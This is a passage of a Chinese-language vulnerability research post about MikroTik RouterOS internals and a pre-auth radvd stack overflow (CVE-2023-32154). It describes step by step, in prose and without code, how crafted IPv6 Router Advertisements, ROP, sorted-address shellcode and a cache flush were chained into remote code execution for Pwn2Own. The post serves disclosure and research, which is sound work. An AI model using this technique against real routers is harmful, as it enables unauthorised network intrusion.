exploit 之外,大部分在 RouterOS 上尋找漏洞的研究不外乎是 Fuzzing 網路協議、玩弄 nova message 或是針對 nova message 進行模糊測試。從成果來看,攻擊者對於 RouterOS 的理解似乎高過我們很多,我們需要探索更多關於 nova binary 的細節來彌補差距,才有機會找到我們想要找的漏洞。雖然我們並不反對 fuzzing 這個手法,但若要在這場比賽中取得優勢,我們就必須確定所有細節都被親眼看過。</p> <h2 id="從何開始">從何開始</h2> <p>我們不認為 RouterOS 已經完美無暇,而且不難發現研究員與攻擊者對於 RouterOS 的理解存在著差距。所以,要在 RouterOS 上找到 pre-auth RCE 我們還缺少什麼?</p> <p>首先我們想到的第一個問題是:IPC 的入口點在哪裡,它又通往哪裡?大部分透過 IPC 觸發的功能都需要進行登入,所以可以預期到:拘泥於 IPC,只會找到更多 post-auth 的弱點。且 IPC 不過只是 RouterOS 上用來實作主要功能的其中一個環節,我們更想直接、謹慎的觀察每個功能的核心程式碼。</p> <p>舉例來說:負責處理 DHCP 的 process 是如何從一個 DHCP 封包中擷取需要的資訊?這些資訊可能直接被存在該 process 中,或可能需要透過 IPC 送給其他 process 做進一步處理。 <img src="/assets/img/blog/20240524/18.png" alt="" /></p> <h3 id="nova-binary-的架構">Nova Binary 的架構</h3> <p>因此我們必須先認識 nova binary 的架構,每個 nova binary 中都有一個 Looper(或其衍生類別:MultifiberLooper),Looper 是負責執行 event loop 邏輯的一個類別,每次迭代都會呼叫 <code class="language-plaintext highlighter-rouge">runTimer</code> 來執行時間到了的 timer ,以及呼叫 <code class="language-plaintext highlighter-rouge">poll</code> 去檢查 socket 的狀態並做相對應的處理。</p> <p><img src="/assets/img/blog/20240524/19.png" alt="" /></p> <p>Looper 也負責自己所在的 nova binary 與 loader 之間的溝通,Looper 首先會先會針對當前 binary 與 loader 之間的 unix socket 註冊一個特別的 callback function:<code class="language-plaintext highlighter-rouge">onMsgSock</code>,這個函式負責把從 socket 收到的 nova message 分配給 nova binary 中對應的 handler。</p> <p><img src="/assets/img/blog/20240524/20.png" alt="" /></p> <h3 id="handler-類別與其衍生類">Handler 類別與其衍生類</h3> <p>當 Looper 收到一個 nova message 時,它會將之分派給對應的 handler。例如,<code class="language-plaintext highlighter-rouge">SYS_TO</code> 為 <code class="language-plaintext highlighter-rouge">[14, 0]</code> 的訊息會被 loader 分配給 binary id 為 14 的 nova binary,而 binary id 為 14 的 binary 中的 looper 收到時,<code class="language-plaintext highlighter-rouge">SYS_TO</code> 已經剩下 <code class="language-plaintext highlighter-rouge">[0]</code>,因此 looper 會將其分配給 handler 0 進行處理。如果一開始的 nova message 中 <code class="language-plaintext highlighter-rouge">SYS_TO</code> 為 <code class="language-plaintext highlighter-rouge">[14]</code>,則 looper 收到時 <code class="language-plaintext highlighter-rouge">SYS_TO</code> 為 <code class="language-plaintext highlighter-rouge">[]</code>,這種情境將由 Looper 自行處理。</p> <p><img src="/assets/img/blog/20240524/21.png" alt="" /></p> <p>現在讓我們假設,Looper 收到了一個由 handler 1 負責的 nova message,並分配給 handler 1,在收到 message 後,handler 1 會去呼叫 Handler 類別中的 <code class="language-plaintext highlighter-rouge">nv::Handler::handleCmd</code>,這個函式會根據 nova message 中的 <code class="language-plaintext highlighter-rouge">SYS_CMD</code> 在 vtable 中尋找對應的 function 執行。</p> <p>除了常規的功能之外,vtable 中的 <code class="language-plaintext highlighter-rouge">cmdUnknown</code> 常被開發者 override 用以擴充功能,但有時開發者反而是 override <code class="language-plaintext highlighter-rouge">handleCmd</code>,看起來是全依 MikroTik 開發者的心情而定。而 Handler 類別因為是基礎類別,所以 object 相關的指令並沒有被實作。</p> <p><img src="/assets/img/blog/20240524/22.png" alt="" /></p> <h3 id="衍生類別">衍生類別</h3> <p>然而 nova binary 中使用最多的並不是基本的 Handler 類別,而是其衍生類別。 衍生類別可以用來儲存多個單一型別物件,類似 C++ 的 STL 容器。</p> <p>舉例來說,當使用者透過 web panel 的管理介面建立一個 DHCP server 的時候,會送出一個指令為「add object」的 nova message 到 <code class="language-plaintext highlighter-rouge">dhcp</code> process 的 handler 0,接下來 handler 0 會產生一個 dhcp server 物件記錄相關設定,並且該物件會被保存在 handler 0 內部的一個 tree 當中。</p> <p><img src="/assets/img/blog/20240524/23.png" alt="" /></p> <p>這裡的 handler 0 就是一個 <code class="language-plaintext highlighter-rouge">AMap</code> 的 instance,<code class="language-plaintext highlighter-rouge">AMap</code> 即是 <code class="language-plaintext highlighter-rouge">Handler</code> 的一個衍生類別。 且由於指令是「add object」,所以觸發了 <code class="language-plaintext highlighter-rouge">AMap::cmdAddObj</code> 這個成員函式,這個成員函式會去呼叫 handler 0 的 vtable 中位於 offset 0x7c 位置所指向的一個 function,這個 function 實際上就是 <code class="language-plaintext highlighter-rouge">AMap</code> 中包含的物件的建構式,例如,若開發者在宣告 handler 0 時,其類型為 <code class="language-plaintext highlighter-rouge">AMap&lt;string&gt;</code> ,則 offset 0x7c 的位置所指向的 function 就是 <code class="language-plaintext highlighter-rouge">string</code> 的建構式。</p> <p>每個衍生類別儲存內部物件建構式的 function 在 vtable 上的 offset 都不相同,想要找到衍生類別中物件的建構子,可以透過逆向它們個別的 <code class="language-plaintext highlighter-rouge">cmdAddObj</code> 來找到。</p> <h3 id="ipc和-ipc-以外的">IPC,和 IPC 以外的</h3> <p>儘管 IPC 似乎無處不在,但其實 RouterOS 中有許多功能並不以 IPC 實現。以實作在 <code class="language-plaintext highlighter-rouge">discover</code> 程式中的兩個 layer 2 的發現協議:CDP、LLDP 為例:</p> <ol> <li>在開啟這兩個服務時,<code class="language-plaintext highlighter-rouge">discover</code> 中的 handler 0 會負責去呼叫 <code class="language-plaintext highlighter-rouge">nv::createPacketReceiver</code> 來開啟 CDP 及 LLDP 使用的 socket 並且註冊分別對應的 callback function</li> <li>在 Looper 的每次迭代中,程式會透過 poll 來檢查 CDP 及 LLDP socket 是否有收到封包</li> <li>如果發現有收到封包就會呼叫對應的 callback function 去進行處理</li> </ol> <p><img src="/assets/img/blog/20240524/24.png" alt="" /></p> <p>CDP 的 callback 做的事情也非常簡單:確定收到封包的 interface 是允許存取的,如果正確,就解析封包並直接把資訊直接存入 <code class="language-plaintext highlighter-rouge">nv::ASecMap</code> 接著就直接結束,過程中並不使用 nova message。</p> <p><img src="/assets/img/blog/20240524/25.png" alt="" /></p> <p>在此類情境中,IPC 除了用來開啟 CDP 或 LLDP 服務之外(預設開啟),完全無法觸發 CDP 或是 LLDP 的任何功能,因此以往專注於 IPC 的研究就很有可能沒有檢測到這種實作方式的程式邏輯。</p> <h2 id="pre-auth-rce-的故事">Pre-Auth RCE 的故事</h2> <p>對於 RouterOS 的理解,也伴隨著一次驚喜的意外帶領我們找到深藏已久的漏洞。</p> <p>賽前某一天,我們照常為了在 RouterOS 上進行逆向及除錯而插拔網路線時,發現 log file 紀錄到 <code class="language-plaintext highlighter-rouge">radvd</code> 這隻程式已經 crash 了好幾次!所以我們嘗試插拔網路線來手動復現 crash 的發生,搭配 debugger 使用就能定位到出問題的地方,但經過了上千次的插拔,我們還是無法確定 crash 產生的條件,只能任憑 crash 隨機的發生。</p> <p>經過一段時間的掙扎後,我們停止透過這種盲目的嘗試來定位漏洞,轉而利用靜態逆向分析 <code class="language-plaintext highlighter-rouge">radvd</code> 來尋找 crash 產生的位置,雖然最後依舊沒找到造成 crash 的根因,但受益於我們對於 nova binary 的理解,我們在 <code class="language-plaintext highlighter-rouge">radvd</code> 中找到了另外一個可以利用的漏洞。</p> <p>在介紹這個漏洞之前,必須得先介紹一下 <code class="language-plaintext highlighter-rouge">radvd</code> process 究竟是負責什麼功能的程式。</p> <h3 id="slaac-stateless-address-auto-configuration-">SLAAC (Stateless Address Auto-Configuration )</h3> <p>一言以蔽之,<code class="language-plaintext highlighter-rouge">radvd</code> 是一個負責處理 IPv6 的 SLAAC 的服務。</p> <p>在 SLAAC 環境中,假設一台電腦想要取得一個 IPv6 的地址上網,他首先會向所有 router 廣播一個 RS(Router Solicitation)的請求。 在 Router 收到 RS 之後,就會透過 RA(Router Advertisement)將 network prefix 廣播出去;收到 RA 的電腦便可以拿 network prefix 以及 EUI-64 來自行決定自己用來連網的 IPv6 為何。</p> <p><img src="/assets/img/blog/20240524/26.png" alt="" /></p> <p>若 ISP 或是網管,想把一個網段分配給用戶,讓用戶可自行分配地址給用戶管理的機器,在只使用 SLAAC 而不輔以 DHCP 時,如何分配一個網段給使用者?因為 SLAAC 並沒有辦法直接委派,所以通常會是這麼運作的:</p> <p>假設有一個 upstream router:Router A,它屬於 ISP 或網管、還有一台用戶自行管理的 Router B、一台用戶管理的電腦。ISP 或網管會預先透過 email 通知用戶一個分配給用戶使用的 /48 network preifx,這裡假設是 <code class="language-plaintext highlighter-rouge">2001:db8::/48</code>。用戶可以將之設定在 Router B 上,則當電腦向 Router B 發送 RS 時,Router B 就會把這個 prefix 放入 RA 中回傳,而這個 prefix 稱作 routed prefix。</p> <p><img src="/assets/img/blog/20240524/27.png" alt="" /></p> <p>同時為了讓使用者的 Router B 有辦法與 Router A 溝通,它也需要一個自己的 IPv6 地址,這時 Router B 從 Router A 拿到的 network prefix 就稱作 link prefix。</p> <p><img src="/assets/img/blog/20240524/28.png" alt="" /></p> <h3 id="radvd-的執行流程">radvd 的執行流程</h3> <ol> <li><code class="language-plaintext highlighter-rouge">radvd</code> process 被啟動時,會透過 <code class="language-plaintext highlighter-rouge">nv::ThinRunner::addSocket</code> 來開啟 <code class="language-plaintext highlighter-rouge">radvd</code> 使用的 socket 並且註冊對應的 callback function <img src="/assets/img/blog/20240524/29.png" alt="" /></li> <li> <p>在 <code class="language-plaintext highlighter-rouge">Looper</code> 的每次迭代中會透過 poll 檢查 socket 是否有收到封包 <img src="/assets/img/blog/20240524/30.png" alt="" /></p> </li> <li>如果發現有收到封包就會呼叫對應的 callback function 去進行處理 <img src="/assets/img/blog/20240524/31.png" alt="" /></li> </ol> <p>在 <code class="language-plaintext highlighter-rouge">radvd</code> 的 callback 中,它首先檢查封包是否是合法的 RA 或 RS,是 RA 就把資訊存起來;是 RS 就開始往 LAN 廣播 RA。</p> <p>而總共有三種情況 RouterOS 會往 LAN 廣播 prefix:</p> <ol> <li>從 LAN 收到 RS 封包</li> <li>從 WAN 收到 RA 封包</li> <li>定時在 LAN 廣播 RA 封包(預設隨機在 200~600 秒之後廣播一次)</li> </ol> <p>不過在 callback 中我們沒有馬上透過靜態分析找到 case 2 發送 RA 的地方,當時我們還不確定具體原因。後來發現這部分的行為與 RouterOS IPC 中的訂閱機制有關,我們將會在後面的章節進行解釋,這同時也與我們發現的 race condition 相關。不過另外兩個情況我們到是可以直接透過靜態分析找到。</p> <p>在 case 1 中,當從 LAN 收到 RS 時,<code class="language-plaintext highlighter-rouge">radvd</code> 會呼叫 sendRA 來廣播 RA 封包: <img src="/assets/img/blog/20240524/32.png" alt="" /></p> <p>在 case 2 中,handler 1 在初始化後便會去註冊一個 timer,<code class="language-plaintext highlighter-rouge">RAroutine</code>: <img src="/assets/img/blog/20240524/33.png" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">RAroutine</code> 被用來在每隔一段時間去呼叫 sendRA 來廣播封包: <img src="/assets/img/blog/20240524/34.png" alt="" /></p> <h2 id="cve-2023-32154">CVE-2023-32154</h2> <p>可以發現共同的函式就是 <code class="language-plaintext highlighter-rouge">sendRA</code>,在深入分析 <code class="language-plaintext highlighter-rouge">sendRA</code> 之後,我們發現 <code class="language-plaintext highlighter-rouge">radvd</code> 在處理 DNS advisory 的地方存在弱點。</p> <p>首先,<code class="language-plaintext highlighter-rouge">radvd</code> 會將 upstream 收到的 RA 中的 DNS advisory 儲存起來(使用 tree 作為資料結構),當 router 要往 LAN 廣播 RA 時,這些 DNS 也會被包進 RA 中一起被廣播給 LAN 的機器。在 <code class="language-plaintext highlighter-rouge">radvd</code> 中,是 <code class="language-plaintext highlighter-rouge">addDNS</code> 這個 function 將樹狀結構的 DNS 展開後放進 ICMPv6 的封包當中。用來傳遞給 <code class="language-plaintext highlighter-rouge">addDNS</code> 的第一個參數 <code class="language-plaintext highlighter-rouge">RA_raw</code> 是一個 4096 bytes 的 buffer,也就是最終被送出的 ICMPv6。</p> <p><img src="/assets/img/blog/20240524/35.png" alt="" /></p> <p>跟進 <code class="language-plaintext highlighter-rouge">addDNS</code> 後我們馬上可以發現這裡可能存在一個 stack buffer overflow 的弱點,<code class="language-plaintext highlighter-rouge">addDNS</code> 透過 <code class="language-plaintext highlighter-rouge">memcpy</code> 把 DNS 放進 ICMPv6 封包中而且沒有任何 boundary check,只要 DNS advisory 給的夠多就可以觸發 stack buffer overflow。</p> <p><img src="/assets/img/blog/20240524/36.png" alt="" /></p> <p>這裡使用的 DNS 來自於 RA 封包中的 RDNSS 欄位,但根據 RFC 可以發現,用來描述 RDNSS 長度的欄位只有 8-bit,所以最多僅能覆蓋 255*16 bytes,這個長度並無法使我們覆寫到 return address。</p> <p><img src="/assets/img/blog/20240524/37.png" alt="" /></p> <p>但如果這不是 <code class="language-plaintext highlighter-rouge">radvd</code> 第一次收到 RA,<code class="language-plaintext highlighter-rouge">radvd</code> 就需要在接下來的封包中將舊的 DNS 標為 expired,所以實際上我們可以覆蓋兩倍的長度,也就是 255*16*2 bytes,這就足以讓我們覆蓋到 return address 了。</p> <p><img src="/assets/img/blog/20240524/38.png" alt="" /></p> <h2 id="攻擊流程">攻擊流程</h2> <p>有了上述的弱點,我們只要透過往目標 RouterOS 送兩個 RDNSS 欄位長度為 255 的惡意 RA 封包,就可以利用 RDNSS 中的 IPv6 地址來控制 <code class="language-plaintext highlighter-rouge">radvd</code> 程式的執行流程。</p> <p><img src="/assets/img/blog/20240524/39.png" alt="" /></p> <h3 id="保護">保護</h3> <p>由於 RouterOS 使用 MIPS 的架構,所以 CPU 並不支援 NX ,但除此之外的保護也沒有被開啟。 所以只要找到好用的 ROP gadget 讓執行流程最終 jump 到我們放在 stack 上的 shellcode 就行了,聽起來極度簡單。</p> <p><img src="/assets/img/blog/20240524/40.png" alt="" /></p> <h3 id="shellcode-限制">shellcode 限制</h3> <p>但是在構造 exploit 的過程中其實存在不少限制,例如,因為 IPv6 地址被儲存在 tree 結構中,所以會在排序後才放上 stack,因此我們必須保證我們建構的 payload 在經過排序之後還會是我們一開始構造的 shellcode。</p> <p>最簡單的方法是把 IPv6 的 prefix 當作流水號,這樣可以保證我們構造的內容照順序排列,接者只要透過 ROP gadget 跳到後半段的 shellcode 上面就算完成了。而在撰寫 shellcode 時,我們只要把每個地址的 suffix 都構造成 <code class="language-plaintext highlighter-rouge">jump</code> ,用來跳過無法執行的流水號即可。</p> <p><img src="/assets/img/blog/20240524/41.png" alt="" /></p> <p>但由於 MIPS 存在 delay slot 機制的關係,CPU 實際上會先去執行 <code class="language-plaintext highlighter-rouge">jump</code> 指令的後一條指令。</p> <p><img src="/assets/img/blog/20240524/42.png" alt="" /></p> <p>所以我們必須把 <code class="language-plaintext highlighter-rouge">jump</code> 往前移動才行,但緊接著的問題便是:在 delay slot 中不能使用 <code class="language-plaintext highlighter-rouge">syscall</code> 這個指令。這種情境下,payload 構造起來相當麻煩之外,還可能會超過我們可以使用的長度,因此這從一開始就是個壞主意。</p> <p><img src="/assets/img/blog/20240524/43.png" alt="" /></p> <p>然而眼尖的朋友肯定已經發現了,這其實是 CTF 中常見的初學等級題目,只要讓 prefix 是一個合法且不影響執行結果的指令就好了,我們把 prefix 改成 <code class="language-plaintext highlighter-rouge">addi s8, s0, 1</code>, <code class="language-plaintext highlighter-rouge">addi s8, s0, 2</code>, <code class="language-plaintext highlighter-rouge">addi s8, s0, 3</code>……,以此類推。除了 payload 會照排序排好之外,也節省了本來用來放 <code class="language-plaintext highlighter-rouge">jump</code> 指令的空間。</p> <p><img src="/assets/img/blog/20240524/44.png" alt="" /></p> <p>但我們還需要稍微修改一下 payload 才行,因為我們沒有 leak stack 位址的漏洞,加上我們找不到任何可用的 gadget 來把 stack 位址從 <code class="language-plaintext highlighter-rouge">$sp</code> 暫存器搬到 <code class="language-plaintext highlighter-rouge">$t9</code> 暫存器,所以我們這裡做的事情是:首先,透過 ROP gadget 把 <code class="language-plaintext highlighter-rouge">jalr $sp</code> 指令寫到一塊記憶體上,之後再用一個 ROP gadget 跳上去執行它,這樣就可以將執行流程導向我們構造的 shellcode,聽起來是一片光明的未來: <img src="/assets/img/blog/20240524/45.png" alt="" /></p> <p>但光是這樣是無法順利執行 shellcode 的,因為 MIPS 針對記憶體的存取方式有兩個不同的 cache。</p> <h3 id="cache">cache</h3> <p>MIPS 上存在兩個 cache:I-cache(instruction cache)、D-cache(data cache)。</p> <p>當我們把 <code class="language-plaintext highlighter-rouge">jslr $sp</code> 指令寫上記憶體時,實際上是寫到 D-cache 中。</p> <p><img src="/assets/img/blog/20240524/46.png" alt="" /></p> <p>而當我們接著把執行流程控制到 <code class="language-plaintext highlighter-rouge">jslr $sp</code> 的地址時,處理器會先去檢查這個地址的指令有沒有在 I-cache 當中,因為該位址位於 data section,在正常執行流程中肯定沒有被執行過,所以 cache 永遠都會 miss,因此處理器會接著將 memory 的內容載入 I-cache 當中。</p> <p><img src="/assets/img/blog/20240524/47.png" alt="" /></p> <p>此時因為 D-cache 的內容還沒有被更新到 memory 上,I-cache 只會抓到一堆 null bytes,也就是 MIPS 上的 nop,所以程式只會執行一堆毫無意義的 nop 直到 crash 為止。</p> <p><img src="/assets/img/blog/20240524/48.png" alt="" /></p> <p>在這裡我們需要使處理器將 D-cache 的內容寫回 memory,有兩個方法可以做到這件事情:context switch 或是用盡 D-cache 所有空間(32 KB)。觸發 context switch 是比較簡單的做法,但在 <code class="language-plaintext highlighter-rouge">radvd</code> 中並沒有任何 <code class="language-plaintext highlighter-rouge">sleep</code> 讓我們用來觸發 context switch,其他 function 雖然也會陷進 kernel,但 context switch 發生的機率並不高,為了角逐 Pwn2Own 冠軍,讓攻擊達到趨近 100% 成功的穩定度是必須的,因此我們轉而尋找耗盡 D-cache 的 32kb 容量的方法。</p> <p>首先,透過簡單的檢查可以發現 RouterOS 的 <code class="language-plaintext highlighter-rouge">radomize_va_space</code> 變數是 1,表示 heap 的記憶體位址不是隨機的,因此不需要 leak 就可以知道 heap 所在位址,所以我們只要接著想辦法讓 heap 分配足夠大的空間,然後寫一些無關緊要的東西上去就可以耗盡 32kb 的 D-cache 了!不過 <code class="language-plaintext highlighter-rouge">radvd</code> 中並沒有太多好用的 ROP gadget,所以要構造這樣的 payload 需要串連更多 ROP gadget 才能達到同樣的目的,最終 payload 長度可能會超過我們可以覆蓋的長度。</p> <p><img src="/assets/img/blog/20240524/49.png" alt="" /></p> <p>幸運的是如同前面所說,DNS 被存放在 tree 結構中,所以儲存時就已經在 heap 中佔據一大塊記憶體,透過 gdb 逐步執行,我們可以確定在處理 DNS 時,heap 的空間已經比 32kb 還要大!因此我們只要接著透過 GOT hijack 呼叫 memcpy 往 heap 寫 32kb 的垃圾就可以了!</p> <p><img src="/assets/img/blog/20240524/50.png" alt="" /></p> <p>最後我們的 exploit 就完成了:</p> <p><img src="/assets/img/blog/20240524/51.png" alt="" /></p> <p>結合我們另外一個為了 Pwn2Own 找的 Canon printer 弱點,攻擊流程會是</p> <ol> <li>攻擊者作為 router 的壞鄰居,對它發送惡意的 ICMPv6 封包</li> <li>在成功控制 router 後,我們進行 port forwarding,把 payload 導向在 LAN 的 Canon 印表機。</li> </ol> <p><img src="/assets/img/blog/20240524/52.png" alt="" /></p> <p>在 Pwn2Own 的比賽環境中,網路環境可以被簡化得更簡單一點,如下: <img src="/assets/img/blog/20240524/53.png" alt="" /></p> <h2 id="exploit-除錯過程">Exploit 除錯過程</h2> <p>就在我們覺得 $100,000 的獎金已經到手的時候,不可思議的事情發生了,那就是我們的攻擊只要在 Ubuntu 上執行就會失敗,不管這個 Ubuntu 系統是在 MacOS 內的一台虛擬機器又或者是一台 Ubuntu 實機;而 Pwn2Own 官方,基本上是使用 Ubuntu 來執行我們的 exploit,所以我們必須要解決這個問題。</p> <p><img src="/assets/img/blog/20240524/54.png" alt="" /></p> <p>我們嘗試在 MacOS 上執行 exploit 並且紀錄網路封包,然後在 Ubuntu 上重放流量,可以觀察到重放會失敗:</p> <p><img src="/assets/img/blog/20240524/55.png" alt="" /></p> <p>我們也嘗試在 Ubuntu 上執行 exploit 並且記錄網路封包,當然在 Ubuntu 上是失敗的,但當我們在 MacOS 重放失敗的流量時,他竟然成功了:</p> <p><img src="/assets/img/blog/20240524/56.png" alt="" /></p> <p>到這裡我們猜測可能是其中一個 OS 在送出封包之前會對封包進行重新排序,而重新排序的這個行為或許在 wireshark 擷取到封包之後,所以才沒被 wireshark 紀錄到。因此我們直接寫了一個 sniffer 放在 router 上面來監控流量,且因為 <code class="language-plaintext highlighter-rouge">AF_PACKET</code> 類型的 socket 不會被防火牆規則影響,結果應該要非常可靠: <img src="/assets/img/blog/20240524/57.png" alt="" /></p> <p>然而,從兩邊錄到的封包根本<strong>一模一樣</strong>……</p> <p>所以,exploit 目前只在我的 MacOS 上成功過,如果狀況不解決,唯一的方法就是我帶著我的 Mac 筆電飛去多倫多,在現場用我自己的筆電進行攻擊。但我們不可能放著這個成因不明的問題不管,誰知道會不會在比賽中也發生在我的筆電上,如果真的發生那就虧大了。</p> <p><img src="/assets/img/blog/20240524/58.png" alt="" /></p> <p>在經過幾次謹慎的復盤之後我們終於知道問題的成因了——速度。因為兩個 RA 封包送出時間間隔並不大,所以很難在 wireshark 的時間軸上直接看出來,但如果計算一下會發現,兩個所花費的時間其實<strong>相差了 390 倍</strong>。所以問題也不是出在 Ubuntu 上,而是因為 Mac 送兩個封包送的太快,不小心觸發了存在在 radvd 中的 race condition(加上極度懶惰的我沒有好好計算蓋到 return address 要花多少 bytes,直接在上面寫滿垃圾然後做 pattern match 而已,所以這個 offset 只在 race 的情況下才正確)。</p> <p><img src="/assets/img/blog/20240524/59.png" alt="" /></p> <p>解決方法就是在送出兩個 RA 封包之間 sleep 一下,並把 payload 中的 offset 修復成沒有 race 的情況下觀察到的 offset,就可以穩定我們的攻擊腳本,把成功機率提升到 100%。</p> <h3 id="fix">Fix</h3> <p>這個漏洞在以下版本中已經被修復:</p> <ul> <li>Long-term Release 6.48.7</li> <li>Stable Release 6.49.8, 7.10</li> <li>Testing Release 7.10rc6</li> </ul> <p>同時我們也發現這個漏洞從 RouterOS v6.0 就已經存在了,從官網可以發現 6.0 的發布日期是 2013-05-20,也就是說這個漏洞已經存在在那裡<strong>九年之久</strong>,卻沒有人發現他。</p> <p><img src="/assets/img/blog/20240524/60.png" alt="" /></p> <p>呼應到我們一開始的想法:「沒有任何理智正常的人想要花時間逆向 nova binary」,得證。</p> <h2 id="the-race-condition">The race condition</h2> <p>然而這個妨礙我們輕鬆賺取 $100,000 的 race condition 是怎麼發生的?如前面所述,nova binary 中有一個 Looper 循環檢查當前有什麼事件發生,也就是説這是一個 single thread 的程式,那 race condition 是怎麼回事?(有些 nova binary 是 multi-fiber,但 <code class="language-plaintext highlighter-rouge">radvd</code> 並不是)</p> <p>這就要提到一個剛才沒有提到的細節,當 <code class="language-plaintext highlighter-rouge">radvd</code> 在解析從 WAN 收到的 RA 封包時,DNS 是被存入一個 「vector」 當中,然而在準備 LAN 廣播用的 RA 封包時,<code class="language-plaintext highlighter-rouge">addDNS</code> 卻是把一個儲存了 DNS 的 「tree」給展開,所以這個 vector 跟 tree 之間是什麼關係?又是怎麼轉換過去的?</p> <p><img src="/assets/img/blog/20240524/61.png" alt="" /></p> <p>這也是為什麼我們沒有第一時間就在 callback 裡面找到「從 WAN 收到 RA 就會往 LAN 廣播 RA 封包」的邏輯,因為這是由兩個 process 在一陣複雜的互動之後所產生的結果。</p> <p>我們仔細看一下 callback 具體上做了什麼,可以看到有一個 array 負責用來存放一種叫做「 remote object」的物件,這段程式碼看起來很直觀,就是迭代存有 DNS 的 vector,然後為每個 DNS 地址都呼叫一次 <code class="language-plaintext highlighter-rouge">nv::roDNS</code>,並把函式的執行結果保存在 <code class="language-plaintext highlighter-rouge">DNS_remoteObject</code> vector 當中。</p> <p><img src="/assets/img/blog/20240524/62.png" alt="" /></p> <h3 id="remote-object">remote object</h3> <p>所以什麼是 remote object?remote object 是 RouterOS 中用來跨 process 分享資源的一個機制:一個 process 負責保存共用資源,然後另外一個 prcoess 可以通過 id 向負責保存的 process 發送請求來進行增刪查改。 例如 DNS remote object 實際上放在 <code class="language-plaintext highlighter-rouge">resolver</code> process 中的 handler 2,而 <code class="language-plaintext highlighter-rouge">radvd</code> 的 handler 1 只是單純保有這些物件對應的 id 而已。</p> <p><img src="/assets/img/blog/20240524/63.png" alt="" /></p> <h3 id="subscription-and-notification">subscription and notification</h3> <p>當一個 remote object 被更新時,有些 process 可能會想要做出對應的行為,所以 nova binary 可以透過 IPC 事先訂閱其他 nova binary 中的 remote object。以 <code class="language-plaintext highlighter-rouge">dhcp</code> 及 <code class="language-plaintext highlighter-rouge">ippool6</code> 為例,<code class="language-plaintext highlighter-rouge">ippool6</code> 中的 handler 1 負責管理 ipv6 address pool,<code class="language-plaintext highlighter-rouge">dchp</code> process 會去訂閱 <code class="language-plaintext highlighter-rouge">ippool6</code> 的 handler 1,所以當 ipv6 address pool 有異動時,dhcp 可以檢查需不需要針對這些異動進行進一步的處理,例如關閉某個 dhcp server。</p> <p>訂閱的這個行為是透過發送一個指令為 subscribe 的 nova message 給想要訂閱的 binary,當中的 <code class="language-plaintext highlighter-rouge">SYS_NOTIFYCMD</code> 包含了具體想要被通知的狀況是什麼。 <img src="/assets/img/blog/20240524/64.png" alt="" /></p> <p>所以在上述情況中,當有另外一個 process 往 <code class="language-plaintext highlighter-rouge">ippool6</code> 中增加 object 時,handler 1 的 <code class="language-plaintext highlighter-rouge">cmdAddObj</code> 函式會被執行。 <img src="/assets/img/blog/20240524/65.png" alt="" /></p> <p>在大部分情況裡,<code class="language-plaintext highlighter-rouge">AddObj</code> 固定會去呼叫 <code class="language-plaintext highlighter-rouge">sendNotifies</code> 來通知那些有訂閱 0xfe000b 事件的 subscribers,告訴他們訂閱的物件已被改動,所以 <code class="language-plaintext highlighter-rouge">ippool6</code> 這裡會送一個 nova message 給 <code class="language-plaintext highlighter-rouge">dhcp</code> process,告知物件被改動後的結果。</p> <p><img src="/assets/img/blog/20240524/66.png" alt="" /></p> <p>在理解了訂閱機制之後,我們可以更全面的理解 <code class="language-plaintext highlighter-rouge">radvd</code> 與 <code class="language-plaintext highlighter-rouge">resolver</code> 之間的互動如下:</p> <p>當 <code class="language-plaintext highlighter-rouge">radvd</code> 從 WAN 收到 RA 封包後,它會對每個 IPv6 地址呼叫 <code class="language-plaintext highlighter-rouge">roDNS</code> 來請 <code class="language-plaintext highlighter-rouge">resolver</code> 建立相關的 remote object。而 <code class="language-plaintext highlighter-rouge">resolver</code> 中的 handler 4 會負責處理這個請求,並在 handler 2 中建立對應的 ipv6 object,接著因為 <code class="language-plaintext highlighter-rouge">radvd</code> 的 handler 1 訂閱了 <code class="language-plaintext highlighter-rouge">resovler</code> 的 handler 2,所以 <code class="language-plaintext highlighter-rouge">resolver</code> 的 handler 2 把目前擁有的所有 DNS address 推播給 <code class="language-plaintext highlighter-rouge">radvd</code> 的 handler 1,接著 handler 1 就依照他收到的 DNS address 構造 RA 封包,之後在 LAN 廣播該封包。</p> <p><img src="/assets/img/blog/20240524/67.png" alt="" /></p> <h3 id="race-condition-成因">Race Condition 成因</h3> <p>Race condition 的問題實際上出在 <code class="language-plaintext highlighter-rouge">roDNS</code> 的實作,<code class="language-plaintext highlighter-rouge">roDNS</code> 中使用 <code class="language-plaintext highlighter-rouge">postMessage</code> 來發送 nova message,而這個方法是 non-blocking 的,表示 <code class="language-plaintext highlighter-rouge">radvd</code> 中的 remote object 並不會馬上知道它在 <code class="language-plaintext highlighter-rouge">resolver</code> 中對應的 id 是什麼。</p> <p><img src="/assets/img/blog/20240524/68.png" alt="" /></p> <p>因此若第二個封包太快到達,以至於 <code class="language-plaintext highlighter-rouge">radvd</code> 還無從得知 remote object 的 id 是什麼的時候,<code class="language-plaintext highlighter-rouge">radvd</code> 就沒有辦法第一時間確實的刪除這些物件,只能先將它們標記成 destroyed 進行軟刪除,這就造成了 race condition 的產生。 <img src="/assets/img/blog/20240524/69.png" alt="" /></p> <p>我們一步一步的分解整個流程:</p> <p>首先,因為兩個 process 都是 single thread,我們可以假設 <code class="language-plaintext highlighter-rouge">radvd</code>、<code class="language-plaintext highlighter-rouge">resolver</code> 兩個 process 現在正在執行他們的第一個 loop。</p> <p>當 <code class="language-plaintext highlighter-rouge">radvd</code> 從 WAN 收到一個只有一個 DNS address 的 RA 時,<code class="language-plaintext highlighter-rouge">radvd</code> 會向 <code class="language-plaintext highlighter-rouge">resolver</code> 發送一個創建 remote object 的請求。 <img src="/assets/img/blog/20240524/70.png" alt="" /></p> <p>而 <code class="language-plaintext highlighter-rouge">resolver</code> 在收到第一個請求的同時會設定一個 timer,因爲在 IPC 的機制中,<code class="language-plaintext highlighter-rouge">resolver</code> 無法知道多少個 <code class="language-plaintext highlighter-rouge">AddObj</code> 請求屬於同一批,所以它非常簡單的設了一個一次性的 timer,時間到了才送出一次 notification。除此之外,每次 <code class="language-plaintext highlighter-rouge">resolver</code> 處理完單個創建的請求後應該要回傳一個 nova message 作為 response,通知 <code class="language-plaintext highlighter-rouge">radvd</code> 剛剛被新增的 remote object 的 id 是多少,而 <code class="language-plaintext highlighter-rouge">radvd</code> 會透過方才送出請求時一併註冊的一次性 ResponseHandler 來處理這個回應。</p> <p><img src="/assets/img/blog/20240524/71.png" alt="" /></p> <p>但如果第二個 RA 封包太快被送到,以至於 <code class="language-plaintext highlighter-rouge">resolver</code> 都還沒有把 